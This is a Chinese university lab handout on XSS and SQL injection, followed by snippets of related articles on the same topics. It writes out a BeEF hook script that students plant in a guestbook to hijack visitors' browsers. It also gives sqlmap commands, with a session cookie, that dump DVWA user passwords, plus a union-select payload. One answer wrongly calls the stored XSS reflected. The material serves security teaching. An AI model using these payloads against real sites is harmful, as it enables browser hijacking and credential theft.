实验二、XSS和SQL注入

一、  实验目的

了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。

 

二、  系统环境:Kali Linux2、Windows

三、  网络环境:交换网络结构

四、  实验工具:AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;Dvwa;PHPStudy

五、  实验步骤:

1XSS部分:利用Beef劫持被攻击者客户端浏览器

实验环境搭建。

角色:留言簿网站。存在XSS漏洞;(Win2003、IIS、guestbook搭建)

攻击者:Kali(使用beef生成恶意代码,并通过留言方式提交到留言簿网站);

被攻击者:访问留言簿网站,浏览器被劫持。

1、 利用AWVS扫描留言簿网站http://gbook.ziyexing.com/leaveword/,发现其存在XSS漏洞,截图。

2、首先修改beef的默认登陆用户名和密码:

进入/etc/beef-xss文件夹。

Kali使用beef生成恶意代码,这个主要就是进入/etc/share/beef-xss文件夹,然后输入./beef运行beef,就会自动生成恶意代码,截图。

3、用另一台win7的虚拟机访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,

<script src="http://Kali的IP地址:3000/hook.js"></script>,截图

3、查看用户留言,只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页(百度主页),将拟在beff中的配置截图。

5、回答问题:实验中XSS攻击属于哪种类型?

XSS属于反射型攻击。

 

 

SQL注入部分:DVWA+SQLmap+Mysql注入实战

https://blog.51cto.com/huangzp/1899871

实验环境搭建。见参考文档2.搭建DVWA测试环境和SQL注入之SQLmap入门.docx

1、注入点发现。首先肯定是要判断是否有注入漏洞。

在输入框输入1,返回

ID: 1

First name: admin

Surname: admin

返回正常:

再次输入1‘,报错,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1‘‘‘ at line 1

此时可以断定有SQL注入漏洞,

http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;

2、枚举当前使用的数据库名称和用户名。

你输入的命令:

Sqlmap输出截图。

3、枚举数据库用户名和密码。

(1)你输入的命令:

sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" --users --password

(2)Sqlmap输出截图。

4、枚举数据库

--dbs:枚举当前数据库

(1)你输入的命令:

sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" –dbs

(2)Sqlmap输出截图:

5、枚举数据库和指定数据库的数据表

-D 数据库名:指定数据库

--tables:枚举指定数据库的所有表

(1)你输入的命令:

sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa –tables

(2)Sqlmap输出截图。

6、获取指定数据库和表中所有列的信息

-D:指定的数据库

-T:指定数据库中的数据表

--columns:获取列的信息

(1)你输入的命令:

sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa -T users –columns

(2)Sqlmap输出截图。

7、枚举指定数据表中的所有用户名与密码,并down到本地。

-C:枚举数据表中的列

--dump:存储数据表项

(1)你输入的命令:

sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa -T users -C user,password –dump

(2)Sqlmap输出截图:

(3)查看down到本地的用户名与密码,截图。(提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)

 

原文地址:https://www.cnblogs.com/BASE64/p/10898943.html

时间: 2024-11-09 06:14:29

实验二、XSS和SQL注入的相关文章

Spring MVC 如何防止XSS、SQL注入攻击

在Web项目中,关键词挖掘通常需求处置XSS,SQL写入进犯,处置这个疑问有两个号码大全思路: 在数据进入数据库之前对不合法字符进行转义,在更新和显现的时分将不合法字符复原 在显现的时分对不合法字符进行转义 假如项目还处在起步期间,主张运用第二种,直接运用jstl的标签即可处置不合法字符的疑问.当然,对于Javascript还需求自个处置一下,写一个办法,在解析从服务器端获取的数据时履行以下escapeHTML()即可. 附:Javascript办法: String.prototype.esca

web实验三——pikachu之sql注入

(一)数字型注入 首先更改1项的值构造payload找到注入点,之后构造payload注出其他信息 查表名 查字段名 最终输入payload: value="1 union select concat(id,'|',username,'|',password,'|',level),2 from users" 结果 (二)字符型注入 使用单引号跳出字符串,最后使用#注释掉多余sql语句,跳过前面查表名字段名的步骤,直接给出最后payload: ' union select id,conc

XSS攻击&amp;SQL注入攻击&amp;CSRF攻击?

- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意脚本的链接以达到攻击的目标,目前有很多攻击者利用论坛.微博发布含有恶意脚本的URL就属于这种方式)和持久型攻击(将恶意脚本提交到被攻击网站的数据库中,用户浏览网页时,恶意脚本从数据库中被加载到页面执行,QQ邮箱的早期版本就曾经被利用作为持久型跨站脚本攻击的平台).XSS虽然不是什么新鲜玩意,但是攻击

Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法. 关键字:SQL注入,XSS,CSRF 1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQ

Web攻防之XSS,CSRF,SQL注入(转)

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法.关键字:SQL注入,XSS,CSRF1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQL语

xss 攻击 sql 注入

p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #000000; background-color: #ffffff } p.p2 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #d12f1b; background-color: #ffffff } p.p3 { margin: 0.0px 0.0px 0.0px 0.0px; fo

PHP防XSS 防SQL注入的代码

作为开发人员时刻要记住一句话,永远不要相信任何用户的输入!很多时候我们的网站会因为我们开发人员写的代码不够严谨,而使网站受到攻击,造成不必要的损失!下面介绍一下如何防止SQL注入! 这里提供了一个函数,用来过滤用户输入的内容!使用POST传值的时候,可以调用这个函数进行过滤! /** * 过滤参数 * @param string $str 接受的参数 * @return string */ static public function filterWords($str) { $farr = ar

ADO。Net(二)——防止SQL注入攻击

规避SQL注入 如果不规避,在黑窗口里面输入内容时利用拼接语句可以对数据进行攻击 如:输入Code值 p001' union select * from Info where '1'='1 //这样可以查询到所有数据,不要轻易相信用户输入的内容 防止SQL注入攻击 通用方法:可以用正则匹配掉特殊符号 推荐方法:再给命令发送SQL语句的时候分两次发送 把SQL语句拆成两块 用户输入的是一块:本身写好的是一块 第一次把CommandText里写的sql语句发过去:第二次把变量值发过去,进行匹配 例:

openresty用naxsi防xss、SQL注入

下载naxsi wget https://github.com/nbs-system/naxsi/archive/untagged-afabfc163946baa8036f.tar.gz tar zxvf untagged-afabfc163946baa8036f.tar.gz mv naxsi-untagged-afabfc163946baa8036f/ naxsi 编译openresty加上--add-module ./configure --prefix=/usr/local/openre